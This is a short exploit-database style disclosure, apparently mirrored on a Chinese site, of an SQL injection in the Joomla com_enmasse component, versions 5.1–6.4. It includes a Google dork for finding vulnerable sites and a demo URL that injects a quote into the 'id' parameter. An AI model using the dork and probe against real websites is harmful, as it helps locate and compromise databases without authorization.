Joomla! Component com_enmasse 5.1 < 6.4 - SQL Injection - 体验盒子

作者： Hamed Izadi

日期： 2016-06-15

类别：

平台：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

# Exploit Title: Joomla com_enmasse- SQL Injection

# Author: [ Hamed Izadi ]

#IRAN

# Vendor Homepage : http://extensions.joomla.org/extensions/extension/social-web/social-buy/en-masse

# Category: [ Webapps ]

# Tested on: [ Win ]

# Versions: 5.1-6.4

# Date: 2016/06/15

# Google Dork: inurl:component/enmasse/

# PoC:

# id Parameter Vulnerable To SQL

# Demo:

# http://server/component/enmasse/term?tmpl=component&id=2%27

# Youtube: https://youtu.be/LB5qVnXhzXE

#L u Arg